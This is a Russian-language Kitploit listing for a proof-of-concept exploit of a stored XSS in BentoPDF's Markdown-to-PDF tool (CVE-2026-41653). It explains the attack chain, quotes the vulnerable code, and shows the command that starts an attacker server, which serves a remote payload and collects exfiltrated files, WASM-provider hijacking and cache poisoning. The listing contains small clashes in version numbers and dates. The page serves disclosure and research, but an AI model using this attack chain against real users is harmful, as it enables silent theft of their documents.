Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-41653 — Эксплойт proof-of-concept для CVE-2026-41653, хранимой XSS-уязвимости в BentoPDF, которая позволяет скрытую эксфильтрацию файлов и перехват цепочки поставок WASM. | Kitploit
Инструменты/GitHubGitHub/astaruf/cve-2026-41653
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийЭксфильтрация данныхРазработка Полезной Нагрузки
GitHubastaruf/cve-2026-41653

CVE-2026-41653

Эксплойт proof-of-concept для CVE-2026-41653, хранимой XSS-уязвимости в BentoPDF, которая позволяет скрытую эксфильтрацию файлов и перехват цепочки поставок WASM.

Репозиторий
235 месяцев назадЕщё не проверено
Сайт

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-41653: BentoPDF ≤ 2.8.2 — Хранимый XSS → Экфильтрация файлов

Обнаружено и сообщено: Astaruf

Полное описание: https://nstsec.com/en/posts/bentopdf-xss-cve-2026-41653/

Консультация вышестоящего проекта: alam00000/bentopdf GHSA advisory

Запись в NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-41653


Краткое описание

BentoPDF — это самохостинговый PDF-инструментарий, работающий на стороне браузера (сжатие, объединение, разделение, поворот, конвертация, Markdown-to-PDF и т. д.).

Инструмент Markdown-to-PDF пропускает пользовательский Markdown через markdown-it с параметром html: true и вставляет отрендеренный результат напрямую в DOM через innerHTML без какой-либо санитизации. Атакующий, доставивший специально сформированный файл .md, добивается выполнения произвольного JavaScript в origin BentoPDF.

Поскольку BentoPDF — полностью клиентское приложение, каждый инструмент (Compress PDF, Merge PDF, Split PDF и т. д.) загружает и обрабатывает файлы непосредственно в браузере жертвы. Одного XSS достаточно, чтобы незаметно эксфильтровать каждый документ, который жертва открывает в любом инструменте в течение сессии.

Атакующий отправляет report.md (содержащий )
  -> Жертва открывает его в Markdown-to-PDF
    -> markdown-it рендерит сырой HTML (html: true)
      -> preview.innerHTML = html  (без DOMPurify)
        -> poc_payload.js загружается с сервера атакующего (без CSP)
          -> FileReader + <input type=file> перехватываются во всём приложении
            -> скрытое всплывающее окно повторно внедряет хуки при каждой навигации по инструментам
              -> каждый файл, открытый жертвой, незаметно эксфильтруется

Воздействие

  • Незаметная эксфильтрация файлов. Каждый файл, который жертва открывает в любом инструменте BentoPDF в течение сессии (PDF, изображение, документ), отправляется методом POST на сервер атакующего.
  • Перехват цепочки поставок WASM. Полезная нагрузка перезаписывает localStorage['bentopdf:wasm-providers'], перенаправляя загрузки WASM-модулей PyMuPDF, Ghostscript и cpdf на контролируемый атакующим хост.
  • Постоянство между страницами. Скрытое всплывающее окно 1×1 опрашивает window.opener и повторно внедряет хуки для файлов каждый раз, когда жертва переходит к другому инструменту, сохраняя доступ на протяжении всей сессии.
  • Отравление кэша Service Worker (только HTTPS). На HTTPS-развёртываниях полезная нагрузка регистрирует Service Worker и отравляет кэш bentopdf-*, добавляя хук эксфильтрации к каждому файлу /assets/*.js, обслуживаемому браузеру, за пределами текущей сессии.

Детали уязвимости

1. Пропуск сырого HTML в markdown-it (CWE-79)

src/js/utils/markdown-editor.ts (строки 271–272):

private mdOptions: MarkdownItOptions = {
  html: true,   // сырые HTML-теги проходят через парсер markdown
  breaks: false,
  linkify: true,
  typographer: true,
};

Теги, такие как ``, <svg>, <details>, и любые атрибуты обработчиков событий (onerror, onload, ontoggle), передаются в DOM как есть.

2. Несанитизированная вставка через innerHTML (CWE-116)

src/js/utils/markdown-editor.ts (строки 689–694):

private updatePreview(): void {
  if (!this.editor || !this.preview) return;
  const markdown = this.editor.value;
  const html = this.md.render(markdown);
  this.preview.innerHTML = html;  // контролируемый атакующим HTML вставляется в DOM
  this.renderMermaidDiagrams();
}

Между markdown-it и innerHTML не применяется никакая библиотека санитизации. Браузер разбирает вставленную строку, обнаруживает встроенный обработчик событий и немедленно выполняет его.

3. Отсутствие Content-Security-Policy

nginx.conf поставляется без заголовка Content-Security-Policy. Внедрённый JavaScript может свободно загружать внешние скрипты, отправлять запросы fetch() на любой хост и открывать всплывающие окна. Ограничительная CSP предотвратила бы этап загрузки внешних скриптов даже при сохранении самой уязвимости.

Доказательство концепции

Быстрый старт

# Запустите сервер атакующего для эксфильтрации
python3 poc.py --lhost <YOUR_IP> --lport 9999

# poc.py будет:
#   - генерировать полезную нагрузку poc_report.md в текущем каталоге
#   - начать прослушивание обратных вызовов жертвы и эксфильтрованных файлов

Отправьте poc_report.md жертве и попросите открыть его в BentoPDF → Markdown-to-PDF. Полезная нагрузка срабатывает в момент рендеринга предпросмотра, и все файлы, которые жертва загрузит в будущем, эксфильтруются на сервер атакующего.

Параметры

ПараметрПо умолчаниюОписание
--lhostобязательныйIP-адрес, доступный браузеру жертвы
--lport9999Порт прослушивания
--loot-dir./loot/Каталог, куда сохраняются эксфильтрованные файлы
--log-fileнетДобавлять все события в файл (ANSI-коды удаляются)
--no-colorвыкл.Отключить ANSI-цвета в выводе терминала

Демонстрация

1. Сервер атакующего запущен с --lhost и --lport. Вредоносный poc_report.md генерируется автоматически.

$ python3 poc.py --lhost 127.0.0.1 --lport 9999 

 ██████╗██╗   ██╗███████╗        ██╗  ██╗  ██╗  ██████╗  ███████╗ ██████╗
██╔════╝██║   ██║██╔════╝        ██║  ██║ ███║ ██╔════╝  ██╔════╝ ╚════██╗
██║     ██║   ██║█████╗   -2026- ███████║ ╚██║ ███████╗  ███████╗  █████╔╝
██║     ╚██╗ ██╔╝██╔══╝          ╚════██║  ██║ ██╔══██║  ╚════██║  ╚═══██╗
╚██████╗ ╚████╔╝ ███████╗             ██║  ██║ ╚██████║  ███████║ ██████╔╝
 ╚═════╝  ╚═══╝  ╚══════╝             ╚═╝  ╚═╝  ╚═════╝  ╚══════╝ ╚═════╝

  BentoPDF <= 2.8.1 - Markdown-to-PDF Stored XSS -> File Exfiltration
  PoC by Astaruf (https://nstsec.com)

========================================================================
  Exfiltration server:    http://127.0.0.1:9999
  Payload:   http://127.0.0.1:9999/poc_payload.js
  Loot dir:  /home/kali/loot
========================================================================

  Malicious .md file ready: /home/kali/poc_report.md

  Send it to the victim and ask them to open it in Markdown-to-PDF tool.
  The payload fires as soon as the preview renders.

========================================================================

  Waiting for victims...

2. Жертва открывает инструмент Markdown-to-PDF в BentoPDF.

Инструмент Markdown-to-PDF

3. Жертва загружает poc_report.md. Предпросмотр рендерится, `` не загружается, срабатывает onerror. poc_payload.js загружается с сервера атакующего без блокировки CSP.

Отрендеренный report.md

4. Полезная нагрузка выполняет четыре этапа: перехват WASM-провайдеров через localStorage, запуск монитора всплывающего окна, установка хуков FileReader и файлового ввода на текущей странице.

Скачать инструмент